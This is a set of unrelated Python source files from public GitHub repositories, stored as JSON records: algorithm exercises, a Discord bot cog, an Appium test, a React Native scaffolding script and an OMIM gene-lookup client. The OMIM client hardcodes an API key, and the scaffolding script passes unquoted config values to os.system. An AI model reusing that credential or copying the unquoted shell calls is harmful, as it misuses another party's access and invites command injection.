None:\n return\n self.inorder(root.left)\n if self.prev is not None and root.data < self.prev.data:\n # this is the first violation mark these two nodes as first and middle\n if self.first is None:\n self.first = self.prev\n self.middle = root\n # If this is second violation mark this node as last\n else:\n self.last = root\n # mark this node as previous\n self.prev = root\n self.inorder(root.right)\n\n def recover_bst(self) -> None:\n self.prev: Node = Node(float(\"-inf\"))\n self.inorder(root=self.root)\n if self.first and self.last:\n self.first.data, self.last.data = self.last.data, self.first.data\n elif self.first and self.middle:\n self.first.data, self.middle.data = self.middle.data, self.first.data\n\n\ndef in_order(root: Node) -> None:\n if root is None:\n return\n in_order(root.left)\n print(root.data, end=\"->\")\n in_order(root.right)\n\n\ndef build_tree() -> Node:\n root: Node = Node(3)\n root.left: Node = Node(1)\n root.right: Node = Node(4)\n root.right.right: Node = Node(2)\n return root\n\n\nif __name__ == \"__main__\":\n root: Node = build_tree()\n in_order(root=root)\n print(\"None\")\n solution = Solution(root=root)\n solution.recover_bst()\n in_order(root=root)\n print(\"None\")\n","repo_name":"kamrul-pu/problem-solving","sub_path":"data_structure/tree/bst_recover.py","file_name":"bst_recover.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15171768599","text":"class BigCombination(object):\r\n __slots__ = [\"mod\", \"factorial\", \"inverse\"]\r\n \r\n def __init__(self, mod = 10**9+7, max_n = 10**6):\r\n fac, inv = [1], []\r\n fac_append, inv_append = fac.append, inv.append\r\n \r\n for i in range(1, max_n+1):\r\n fac_append(fac[-1] * i % mod)\r\n \r\n inv_append(pow(fac[-1], mod-2, mod))\r\n \r\n for i in range(max_n, 0, -1):\r\n inv_append(inv[-1] * i % mod)\r\n \r\n self.mod, self.factorial, self.inverse = mod, fac, inv[::-1]\r\n \r\n def get_combination(self, n, r):\r\n return self.factorial[n] * self.inverse[r] * self.inverse[n-r] % self.mod\r\n \r\n def get_permutation(self, n, r):\r\n return self.factorial[n] * self.inverse[n-r] % self.mod\r\n \r\n \r\nimport math\r\nBig = BigCombination()\r\nmod=10**9+7\r\nh,w,a,b=map(int,input().split())\r\nans=0\r\nfor i in range(b,w):\r\n ans=(ans+ Big.get_combination(h-a-1+i,i)* Big.get_combination(a-1+w-i-1,w-i-1))%mod\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc058/B/4732855.py","file_name":"4732855.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"33552328868","text":"# -*- coding:utf-8 -*-\n'''\n使多个对象都要机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。\n将这些对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它为止。\n'''\n\nfrom abc import ABCMeta, abstractmethod\n\n\n# 抽象处理者\nclass Handler(metaclass=ABCMeta):\n @abstractmethod\n def handle_leave(self, day):\n pass\n\n\n# 具体处理者\nclass GeneralManager(Handler):\n def handle_leave(self, day):\n if day < 10:\n print('总经理准假%d' % day)\n else:\n print('你还是辞职吧')\n\n\n# 具体处理者\nclass DepartmentManager(Handler):\n def __init__(self):\n self.next = GeneralManager()\n\n def handle_leave(self, day):\n if day <= 5:\n print('部门经理准假%d天' % day)\n else:\n print('部门经理职权不足')\n self.next.handle_leave(day)\n\n\n# 具体处理者\nclass ProjectDirector(Handler):\n def __init__(self):\n self.next = DepartmentManager()\n\n def handle_leave(self, day):\n if day <= 3:\n print('项目主管准假%d天' % day)\n else:\n print('项目主管职权不足')\n self.next.handle_leave(day)\n\n\n# 客户端\nday = 10\np = ProjectDirector()\np.handle_leave(day)\n\n\n'''\n适用场景:\n - 有多个请求可以处理一个请求,哪个对象处理由运行时决定\n - 在不明确接收者的情况下,向多个对象中的一个提交一个请求\n\n优点:\n - 降低耦合度:一个对象无需知道是其他哪一个对象处理其请求\n'''","repo_name":"ni-ning/LearnPython","sub_path":"27DesignPattern/011责任链模式.py","file_name":"011责任链模式.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"35962047096","text":"import sys\nfrom typing import Dict, List, Tuple, Set, Optional, cast\n\nfrom discopop_explorer.PETGraphX import PETGraphX, EdgeType, NodeID, CUNode, MemoryRegion\n\nglobal_write_unique_id = 0\n\n\ndef initialize_writes(\n memory_region_liveness: Dict[MemoryRegion, List[NodeID]],\n written_memory_regions_by_cu: Dict[NodeID, Set[MemoryRegion]],\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n global global_write_unique_id\n\n result_dict: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]] = dict()\n for mem_reg in memory_region_liveness:\n if mem_reg not in result_dict:\n result_dict[mem_reg] = set()\n for cu_id in memory_region_liveness[mem_reg]:\n written = False\n if cu_id in written_memory_regions_by_cu:\n if mem_reg in written_memory_regions_by_cu[cu_id]:\n written = True\n optional_unique_write_id = None\n if written:\n optional_unique_write_id = global_write_unique_id\n global_write_unique_id += 1\n\n result_dict[mem_reg].add((cu_id, optional_unique_write_id))\n\n return result_dict\n\n\ndef propagate_writes(\n comb_gpu_reg, pet: PETGraphX, writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n \"\"\"propagate writes to parents.\n propagate writes to successors and their children.\n propagate writes to calling functions if a return has been reached.\n Stop on the level of the base function\"\"\"\n parent_functions: List[NodeID] = []\n for region in comb_gpu_reg.contained_regions:\n parent_functions.append(pet.get_parent_function(pet.node_at(region.node_id)).id)\n\n modification_found = True\n while modification_found:\n # propagate writes to parents\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id_1, write_identifier_1 in writes[mem_reg]:\n if write_identifier_1 is None:\n # no write\n continue\n # propagate to parents\n for parent_id, _, _ in pet.in_edges(cu_id_1, EdgeType.CHILD):\n if parent_id in parent_functions:\n # do not propagate above the function which contains the GPU Regions\n continue\n if (parent_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((parent_id, write_identifier_1))\n modification_found = True\n # propagated to parent\n break\n if modification_found:\n break\n if modification_found:\n break\n\n # propagate to successors and their children\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id_1, write_identifier_1 in writes[mem_reg]:\n if write_identifier_1 is None:\n # no write\n continue\n # propagate to successors\n for _, successor_id, _ in pet.out_edges(cu_id_1, EdgeType.SUCCESSOR):\n if (successor_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((successor_id, write_identifier_1))\n modification_found = True\n # propagated to successor\n\n # propagate to children of successors\n for _, child_id, _ in pet.out_edges(successor_id, EdgeType.CHILD):\n if (child_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((child_id, write_identifier_1))\n modification_found = True\n # propagated to children of successor\n # propagate to called functions of successors\n for _, called_node_id, _ in pet.out_edges(\n successor_id, EdgeType.CALLSNODE\n ):\n if (called_node_id, write_identifier_1) not in writes[mem_reg]:\n writes[mem_reg].add((called_node_id, write_identifier_1))\n modification_found = True\n # propagated to called nodes of successor\n break\n if modification_found:\n break\n if modification_found:\n break\n\n # propagate writes to calling functions if a return has been reached.\n modification_found = True\n while modification_found:\n modification_found = False\n for mem_reg in writes:\n for cu_id, write_identifier in writes[mem_reg]:\n pet_node = pet.node_at(cu_id)\n if type(pet_node) != CUNode:\n continue\n if pet_node.return_instructions_count > 0:\n # propagate write to calling cus\n parent_function = pet.get_parent_function(pet_node)\n callees = [\n s for s, t, d in pet.in_edges(parent_function.id, EdgeType.CALLSNODE)\n ]\n for callee_id in callees:\n if (callee_id, write_identifier) not in writes[mem_reg]:\n writes[mem_reg].add((callee_id, write_identifier))\n modification_found = True\n # propagated to callee\n if modification_found:\n break\n if modification_found:\n break\n\n return writes\n\n\ndef cleanup_writes(\n writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]:\n \"\"\"remove entries from the Sets with an second-element entry of None,\n if it is overwritten by a different memory write.\"\"\"\n for mem_reg in writes:\n to_be_removed: Set[Tuple[NodeID, Optional[int]]] = set()\n # determine elements to be removed\n for cu_id, ident in writes[mem_reg]:\n if ident is None:\n continue\n if (cu_id, None) in writes[mem_reg]:\n # entry is overwritten by write access (cu_id, ident)\n to_be_removed.add((cu_id, None))\n # remove elements\n for cu_id, ident in to_be_removed:\n if (cu_id, ident) in writes[mem_reg]:\n writes[mem_reg].remove((cu_id, ident))\n return writes\n\n\ndef group_writes_by_cu(\n writes: Dict[MemoryRegion, Set[Tuple[NodeID, Optional[int]]]]\n) -> Dict[NodeID, Dict[MemoryRegion, Set[Optional[int]]]]:\n result_dict: Dict[NodeID, Dict[MemoryRegion, Set[Optional[int]]]] = dict()\n\n for mem_reg in writes:\n for cu_id, ident in writes[mem_reg]:\n if cu_id not in result_dict:\n result_dict[cu_id] = dict()\n if mem_reg not in result_dict[cu_id]:\n result_dict[cu_id][mem_reg] = set()\n result_dict[cu_id][mem_reg].add(ident)\n return result_dict\n","repo_name":"discopop-project/discopop","sub_path":"discopop_explorer/pattern_detectors/combined_gpu_patterns/step_3.py","file_name":"step_3.py","file_ext":"py","file_size_in_byte":7632,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"} +{"seq_id":"14355340143","text":"# the code below uses a static array where none value denotes that node has not child(left/right)\n'''\n the binary tree for the array below will be\n 1\n / \\\n 2 3\n / \\ / \\\n 4 5 6 7\n / \\\n 8 9\n'''\n\n\n\narr = [1,2,3,4,5,6,7,None,None,8,9,None,None,None,None]\nl = 0\nindex = 0\nmaxArray = [1]\nmaxArrayValue = 0\nwhile(index < len(arr)):\n for i in range(0,pow(2,l)): \n if (2*index + 2) < len(arr) and arr[index] != None:\n if arr[2*index + 1] != None:\n maxArrayValue = maxArrayValue + 1\n if arr[2*index + 2] != None:\n maxArrayValue = maxArrayValue + 1\n index = index + 1\n maxArray.append(maxArrayValue)\n maxArrayValue = 0\n l = l + 1\nprint(\"The maximumwidth is :\",max(maxArray))\n\n","repo_name":"sanchit247/my-codes","sub_path":"pythonCodes/day 44/max_width_of_any_binary_tree.py","file_name":"max_width_of_any_binary_tree.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16171049800","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext.commands import has_permissions, MissingPermissions\n\nimport main\nfrom utils.configuration import save_config\nfrom utils.math import is_int\nfrom utils.message import no_permission, send_json\nfrom utils.string import replace_relevant\n\n\nclass ReactionRoles(commands.Cog):\n reaction_roles = main.config[\"reaction-roles\"]\n\n def __init__(self, bot):\n self.bot = bot\n\n async def process_reaction(self, payload: discord.RawReactionActionEvent, r_type=None):\n for reactrole in self.reaction_roles:\n if payload.message_id == reactrole[\"message-id\"]:\n for obj in reactrole[\"roles\"]:\n if obj[\"emoji\"] == payload.emoji.name:\n guild = self.bot.get_guild(payload.guild_id)\n user = await guild.fetch_member(payload.user_id)\n role = guild.get_role(obj[\"role\"])\n if role is None:\n print(f\"An invalid Role ID {obj['role']} was provided in Reaction Roles for message {reactrole['message-id']}\")\n elif r_type == \"add\":\n await user.add_roles(role)\n elif r_type == \"remove\":\n await user.remove_roles(role)\n else:\n print(\"Invalid Reaction Type was provided in reactroles.py `process_reaction`\")\n print(\"Not performing any Action as result\")\n break\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload: discord.RawReactionActionEvent):\n await self.process_reaction(payload, \"add\")\n\n @commands.Cog.listener()\n async def on_raw_reaction_remove(self, payload: discord.RawReactionActionEvent):\n await self.process_reaction(payload, \"remove\")\n\n @commands.command()\n @has_permissions(manage_roles=True)\n async def reactrole(self, ctx, *, args):\n if not args:\n return\n args = args.split(\" \")\n if ctx.message.reference is None:\n if len(args) < 3:\n return\n message_id = args[0]\n emoji = args[1]\n role_id = args[2]\n else:\n if len(args) < 2:\n return\n message_id = ctx.message.reference.message_id\n emoji = args[0]\n role_id = args[1]\n if ctx.message.role_mentions:\n role_id = ctx.message.role_mentions[0].id\n\n if message_id is None or emoji is None or role_id is None:\n await send_json(ctx.channel, main.responses[\"reaction-role-command-invalid\"], msg=replace_relevant(main.responses[\"reaction-role-command-invalid\"][\"content\"], ctx.guild))\n if not (is_int(message_id) or is_int(role_id)):\n await send_json(ctx.channel, main.responses[\"reaction-role-command-invalid\"], msg=replace_relevant(main.responses[\"reaction-role-command-invalid\"][\"content\"], ctx.guild))\n return\n message_id = int(message_id)\n role_id = int(role_id)\n for i in range(len(self.reaction_roles)):\n if self.reaction_roles[i][\"message-id\"] == message_id:\n main.config[\"reaction-roles\"][i][\"roles\"].append({\n \"emoji\": emoji,\n \"role\": role_id\n })\n save_config()\n return\n main.config[\"reaction-roles\"].append({\n \"message-id\": message_id,\n \"roles\": [\n {\n \"emoji\": emoji,\n \"role\": role_id\n }\n ]\n })\n save_config()\n message = await ctx.fetch_message(message_id)\n await message.add_reaction(emoji)\n await ctx.message.delete()\n await send_json(ctx.channel, main.responses[\"reaction-role-command-success\"], delete_after=3)\n\n @reactrole.error\n async def reactrole_error(self, ctx, error):\n if isinstance(error, MissingPermissions):\n await no_permission(ctx.message)\n\n\ndef setup(bot):\n bot.add_cog(ReactionRoles(bot))\n","repo_name":"Flo-Mit-H/UselessBot-PY","sub_path":"src/cog/reactroles.py","file_name":"reactroles.py","file_ext":"py","file_size_in_byte":4173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13950304159","text":"# -*- coding: utf-8 -*-\n# @Time :2021/6/8 13:42\n# @Author :song\n# @Email :2697013700@qq.com\n# @File :test_006_toast.py\n#提示\nfrom appium import webdriver\nfrom selenium.webdriver.support import wait\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom appium.webdriver.common.mobileby import MobileBy\ndesired_caps={\n \"automationName\":\"UiAutomator2\",#toast必须UiAutomator2\n \"platformName\": \"Android\",\n \"platformVersion\": \"7.1.2\",\n \"deviceName\": \"HUAWEI MLA-AL10\",\n \"noReset\": True, # 不重置\n # app-包名\n \"appPackage\": \"com.lemon.lemonban\",\n \"appActivity\": \"com.lemon.lemonban.activity.WelcomeActivity\"\n}\ndriver=webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\",desired_caps)\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/navigation_my\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/fragment_my_lemon_avatar_layout\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.ID,\"com.lemon.lemonban:id/btn_login\")\nWebDriverWait(driver,10).until(EC.visibility_of_element_located(loc))\ndriver.find_element(*loc).click()\nloc=(MobileBy.XPATH,'//*[contains(@text,\"手机号码或密码\")]')\ntry:\n WebDriverWait(driver,10,0.01).until(EC.presence_of_element_located(loc))\nexcept:\n print(\"没找到\")\nelse:\n text=driver.find_element(*loc).text\n print(text)\n","repo_name":"songjealyn/appniumtest","sub_path":"class_001/test_006_toast.py","file_name":"test_006_toast.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17314361846","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'自动生成RN工程并自动导入设定的库'\n\n__author__ = 'TFN'\n\nimport os\nimport re\nimport sys\n\nimport configparser\n\n\n# 安装babel插件,用于支持@(decorator)特性:\n\n\ndef installBabel(RNRootPath):\n os.system(\n 'cd %s && npm i babel-plugin-transform-decorators-legacy babel-preset-react-native-stage-0 --save-dev' %\n RNRootPath)\n\n content = '{\\n\"presets\": [\"react-native\"],\\n\"plugins\": [\"transform-decorators-legacy\"]\\n}'\n\n # 修改.babelrc文件\n with open(os.path.join(RNRootPath, '.babelrc'), 'w') as babelFile:\n babelFile.write(content)\n\n\n# 修改index.android.js和index.ios.js文件\n\n\ndef modifyRootIndex(pythonPath, RNRootPath, RNProjectName):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'root_index_tmp.js'), 'r') as tempIndexFile:\n # 获取匹配对象\n re_pro = re.compile(r'xProjectName')\n temp = tempIndexFile.read()\n result, number = re_pro.subn(RNProjectName, temp)\n\n # 打开index.android.js以及index.ios.js文件\n with open(os.path.join(RNRootPath, 'index.android.js'), 'w') as indexAndroidFile:\n # 通过正则表达式匹配里面需要替换的工程名称projectName并进行替换\n # 将result写入Android文件\n indexAndroidFile.write(result)\n\n with open(os.path.join(RNRootPath, 'index.ios.js'), 'w') as indexIOSFile:\n indexIOSFile.write(result)\n\n\n# 创建app/App.js文件\n\n\ndef createApp(pythonPath, RNRootPath, defaultRoute):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'app_tmp.js'), 'r') as tempAppFile:\n re_default = re.compile(r'xHomePath')\n temp = tempAppFile.read()\n result, number = re_default.subn(defaultRoute, temp)\n\n # 创建app/App.js文件,并把result的内容存入\n with open(os.path.join(RNRootPath, 'app', 'App.js'), 'w') as appFile:\n appFile.write(result)\n\n\n# 创建导航栏NvaBar.js文件\n\n\ndef createNavBar(pythonPath, RNRootPath, navBarBackgroundColor):\n # 读取模板文件\n with open(os.path.join(pythonPath, 'templet', 'nav_bar_tmp.js'), 'r') as tempNavBarFile:\n re_bg = re.compile(r'xNavBarBGColor')\n\n temp = tempNavBarFile.read()\n result, number = re_bg.subn(navBarBackgroundColor, temp)\n\n # 创建app/pages/NavBar.js文件,并把result的内容存入\n with open(os.path.join(RNRootPath, 'app', 'pages', 'NavBar.js'), 'w') as navBarFile:\n navBarFile.write(result)\n\n\n# 创建总路由index.js\n\n\ndef createRouteIndex(pythonPath, RNRootPath, pageNames):\n with open(os.path.join(pythonPath, 'templet', 'pages_index_tmp.js'), 'r') as tempIndexFile:\n import_replace_str = ''\n route_replace_str = ''\n\n re_import = re.compile(r'xImportRootChildRoutes')\n re_route = re.compile(r'xRootChildRoutes')\n\n for name in pageNames:\n import_replace_str += 'import %s from \\'./%s\\';\\n' % (name, name)\n route_replace_str += '\\t\\t' + name + ',\\n'\n\n temp = tempIndexFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_route, num_route = re_route.subn(\n route_replace_str, result_import)\n\n with open(os.path.join(RNRootPath, 'app', 'pages', 'index.js'), 'w') as indexFile:\n indexFile.write(result_route)\n\n\n# 创建相应页面的路由index.js\n\n\ndef createPageIndex(pythonPath, RNRootPath, pageName):\n pagePath = os.path.join(RNRootPath, 'app', 'pages', pageName)\n os.system('mkdir -p %s' % pagePath)\n with open(os.path.join(pythonPath, 'templet', 'page_index_tmp.js'), 'r') as tempIndexFile:\n import_replace_str = 'import %s from \\'./%s\\';\\n' % (\n pageName[:1].upper() + pageName[1:], pageName[:1].upper() + pageName[1:])\n path_replace_str = pageName\n route_replace_str = pageName[:1].upper() + pageName[1:]\n\n re_import = re.compile(r'xImportPageRoute')\n re_path = re.compile(r'xChildParth')\n re_route = re.compile(r'xPageRoute')\n temp = tempIndexFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_path, num_path = re_path.subn(path_replace_str, result_import)\n result_route, num_route = re_route.subn(\n route_replace_str, result_path)\n\n with open(os.path.join(pagePath, 'index.js'), 'w') as indexFile:\n indexFile.write(result_route)\n\n\n# 创建相应页面的js\n\n\ndef createPage(pythonPath, RNRootPath, pageName, pageComp):\n pagePath = os.path.join(RNRootPath, 'app', 'pages', pageName)\n with open(os.path.join(pythonPath, 'templet', 'page_tmp.js'), 'r') as tempNameFile:\n import_replace_str = ''\n component_replace_str = ''\n path_replace_str = pageName\n name_replace_str = pageName[:1].upper() + pageName[1:]\n\n for eachComp in pageComp.split('|'):\n comps = eachComp.split(':')\n importModule = comps[0]\n importComps = comps[1].split(',')\n\n temp_str = 'import {%s} from \\'%s\\';\\n' % (comps[1], importModule)\n import_replace_str += temp_str\n\n for v in importComps:\n component_replace_str += '\\t\\t\\t\\t' + '<' + v + '/>\\n'\n\n re_import = re.compile(r'xImportModules')\n re_comp = re.compile(r'xImportComponents')\n re_path = re.compile(r'xPagePath')\n re_name = re.compile(r'xPageName')\n temp = tempNameFile.read()\n result_import, num_import = re_import.subn(import_replace_str, temp)\n result_comp, num_comp = re_comp.subn(\n component_replace_str, result_import)\n result_path, num_path = re_path.subn(path_replace_str, result_comp)\n result_name, num_name = re_name.subn(name_replace_str, result_path)\n\n name = pageName[:1].upper() + pageName[1:]\n\n with open(os.path.join(pagePath, '%s.js' % name), 'w') as nameFile:\n nameFile.write(result_name)\n\n\n# 读取配置文件,获取需要的插件信息,然后初始化\n\n\ndef init(pythonPath):\n config = configparser.ConfigParser()\n\n # 读取配置文件\n with open(os.path.join(pythonPath, 'config.tfn'), 'r') as configFile:\n config.readfp(configFile)\n\n # 需要创建的RN工程名,默认AutoGenRNDemo\n RNProjName = config.get('base', 'RNProjName') or 'AutoGenRNDemo'\n\n # 工程创建的位置,默认在当前脚本目录下创建RN工程\n RNProjPath = config.get(\n 'base', 'RNProjPath') or os.path.split(\n os.path.realpath(__file__))[0]\n\n # 初始化RN工程\n os.system('cd %s && react-native init %s' % (RNProjPath, RNProjName))\n\n # 工程根目录\n RNRootPath = os.path.join(RNProjPath, RNProjName)\n\n # 将templet文件夹下的app文件夹及其子文件复制到在工程根目录下\n os.system(\n 'cp -r %s %s' %\n (os.path.join(\n pythonPath,\n 'templet',\n 'app'),\n RNRootPath))\n\n # 修改index.android.js和index.ios.js文件\n modifyRootIndex(pythonPath, RNRootPath, RNProjName)\n\n # 获取默认路由\n defaultRoute = config.get('default', 'default')\n\n # 创建app/App.js文件\n createApp(pythonPath, RNRootPath, defaultRoute)\n\n # 需要导入的模块名\n dependencyModule = config.get('base', 'dependencyModule').split(',')\n\n # npm install,将需要的模块依次安装\n list(map(lambda x: os.system('cd %s && npm install --save %s ' %\n (RNRootPath, x)), dependencyModule))\n\n os.system(\n 'cd %s && npm install --save react-router@3.0.2' %\n RNRootPath)\n\n installBabel(RNRootPath)\n\n # 读取导航栏的背景颜色,默认颜色#db2f37\n navBarBackgroundColor = config.get(\n 'base', 'navBarBackgroundColor') or '#db2f37'\n # 创建导航栏NvaBar.js文件\n createNavBar(pythonPath, RNRootPath, navBarBackgroundColor)\n\n # 读取配置文件的page这个section,获取需要生成的页面数以及每个页面需要导入的Component\n pageNum = len(config.options('page'))\n\n pageNames = []\n\n for index in range(1, pageNum + 1):\n eachPage = config.get('page', 'page%d' % index)\n # 分割,得到页面的名称\n pageName = eachPage[:eachPage.index('{')]\n\n # 创建相应页面的路由index.js\n createPageIndex(pythonPath, RNRootPath, pageName)\n\n pageNames.append(pageName)\n\n pageComp = eachPage[eachPage.index('{') + 1:len(eachPage) - 1]\n\n createPage(pythonPath, RNRootPath, pageName, pageComp)\n\n createRouteIndex(pythonPath, RNRootPath, pageNames)\n\n\nif __name__ == '__main__':\n # 当前python文件的路径\n pythonPath = os.path.split(os.path.realpath(__file__))[0]\n\n init(pythonPath)\n","repo_name":"speaklesstfn/AutoGenRNProj","sub_path":"auto_gen_rn.py","file_name":"auto_gen_rn.py","file_ext":"py","file_size_in_byte":9058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31800216290","text":"from random import randint\n\nclass Animal :\n all_animals = []\n def __init__(self,name,q1,q2,q3):\n self.name = name\n self.q1 = q1\n self.q2 = q2\n self.q3 = q3\n @staticmethod\n def getAnimalAtIndex(index): return Animal.all_animals[index]\n def getName(self) : return self.name\n def guess_who_am_i(self) :\n print(self.q1)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n print(self.q2)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n print(self.q3)\n a = input(\"Who am I?: \")\n if (a == self.name) : return True\n print(\"Nope, try again!\")\n return False\n\nlion = Animal(\"lion\",\"I am the biggest cat\",\"I live in groups\",\"I am the King of the jungle\")\nelephant = Animal(\"elephant\",\"I am the largest land-living mammal in the world\",\"I have exceptional memory\",\"I have Trunk\")\ntiger = Animal(\"tiger\",\"I am the biggest cat\",\"I come in black and white or orange and black\",\"I an the national animal of INDIA\")\nbat = Animal(\"bat\",\"I use echo-location\",\"I can fly\",\"I see well in dark\")\ndog = Animal(\"dog\",\"I live with human\",\"I am the animal used for sniffing\",\"I don't like cat's\")\ncat = Animal(\"cat\",\"I live with human\",\"I acted in tom and jerry\",\"My favourite food is rat\")\ndolphin = Animal(\"dolphin\",\"I have exceptional memory\",\"I live in water\",\"I play with human\")\nAnimal.all_animals.append(lion)\nAnimal.all_animals.append(elephant)\nAnimal.all_animals.append(tiger)\nAnimal.all_animals.append(bat)\nAnimal.all_animals.append(dog)\nAnimal.all_animals.append(cat)\nAnimal.all_animals.append(dolphin)\ni = \"yes\"\nprint(\"I will give you 3 hints, guess what animal I am\")\nwhile (i != \"no\"):\n animal = Animal.getAnimalAtIndex(randint(0,6))\n if (animal.guess_who_am_i()) :\n print(\"You got it! I am \",animal.getName())\n else:\n print(\"I'm out of hints! The answer is: \",animal.getName())\n i = input(\"Do you want to play (yes/no): \")","repo_name":"mohan5v5988/Python","sub_path":"HomeWork-8/program 1.py","file_name":"program 1.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1692157074","text":"import requests\r\n\r\napiKey = 'RmWP24dgQ0ua8kJ485oPFw'\r\nhost = 'https://api.omim.org/api/'\r\n\r\n\r\ndef sign():\r\n data = {\r\n 'apiKey': apiKey,\r\n 'format': 'python'\r\n }\r\n url = host + 'apiKey'\r\n r = requests.request('POST', url, data=data)\r\n\r\n\r\ndef split(dname, aname):\r\n dlst = list()\r\n if dname.get(aname):\r\n if dname[aname].find(';;;') != -1:\r\n for lst in dname[aname].split(';;;'):\r\n dlst.append(lst.split(';;')[-1])\r\n else:\r\n dlst.append(dname[aname].split(';;')[-1])\r\n \r\n return dlst\r\n\r\ndef getGene(geneSym):\r\n params = {\r\n 'search': f'approved_gene_symbol:{geneSym}',\r\n 'include': ['seeAlso', 'geneMap', 'externalLinks'],\r\n 'format': 'json',\r\n 'start': 0,\r\n 'limit': 10,\r\n 'apiKey': apiKey\r\n }\r\n url = host + 'entry/search'\r\n r = requests.request('GET', url, params=params)\r\n res = r.json()\r\n if not res['omim']['searchResponse']['entryList']:\r\n return None\r\n res = res['omim']['searchResponse']['entryList'][0]['entry']\r\n # geneMap = res['geneMap']\r\n # externalLinks = res['externalLinks']\r\n gene = {\r\n 'geneSym': geneSym,\r\n 'geneName': None,\r\n 'phenotype': None,\r\n 'phenotypeInheritance': None,\r\n 'diseases': list()\r\n }\r\n if res.get('geneMap'):\r\n geneMap = res['geneMap']\r\n if geneMap.get('geneName'):\r\n gene.update({'geneName': geneMap['geneName']})\r\n if geneMap.get('phenotypeMapList'):\r\n gene.update({\r\n 'phenotype': geneMap['phenotypeMapList'][0]['phenotypeMap']['phenotype'],\r\n 'phenotypeInheritance': geneMap['phenotypeMapList'][0]['phenotypeMap']['phenotypeInheritance']\r\n })\r\n if res.get('externalLinks'):\r\n externalLinks = res['externalLinks']\r\n if externalLinks.get('nbkIDs'):\r\n gene['diseases'] += split(externalLinks, 'nbkIDs')\r\n elif externalLinks.get('ordrDiseases'):\r\n gene['diseases'] += split(externalLinks, 'ordrDiseases')\r\n elif externalLinks.get('omiaIDs'):\r\n gene['diseases'] += split(externalLinks, 'omiaIDs')\r\n return gene\r\n\r\n\r\n\r\n","repo_name":"xinyu-g/geneEd","sub_path":"geneEd/retrieve/omim.py","file_name":"omim.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71392526633","text":"import logging\r\nimport sys\r\nimport fileinput\r\nimport re\r\n\r\n\r\n\r\n\r\ndef run():\r\n logging.basicConfig(filename='log6.log',filemode='w', level=logging.DEBUG)\r\n logging.info(\"start\")\r\n print(\"\\n\\n Task4 \\n\\n\")\r\n lineDict = read_log()\r\n printDict(lineDict)\r\n print(\"\\n\\n Task 5 \\n\\n\")\r\n myDictionary = ip_request(lineDict) #pass result of standard input read_log\r\n printDict(myDictionary)\r\n print(\"\\n\\n Task 6 \\n\\n\")\r\n ip_find(myDictionary) #myDictionary holds number of requests per ip\r\n ip_find(myDictionary, False)\r\n print(\"\\n\\n Task 7 \\n\\n\")\r\n print(longest_request(lineDict))\r\n print(\"\\n\\n Task 8 \\n\\n\")\r\n print(non_existent(lineDict))\r\n logging.info(\"END\")\r\n\r\n\r\ndef printDict(dict):\r\n count = 0\r\n for x in dict:\r\n print(str(x) + \" :::::: \" + str(dict[x]))\r\n count = count + 1\r\n if count > 5:\r\n return\r\n\r\n\r\ndef read_log():\r\n new_dictionary = {}\r\n splt_char = ''\r\n with open('accesslog4.txt', 'r') as f:\r\n for line in f:\r\n splitline = line.split()\r\n new_dictionary[splt_char.join(splitline[:5])] = splt_char.join(splitline[5:])\r\n return new_dictionary\r\n\r\n\r\ndef ip_request(dict):\r\n ip_dictionary = {}\r\n for x in dict:\r\n ip = x.split\r\n 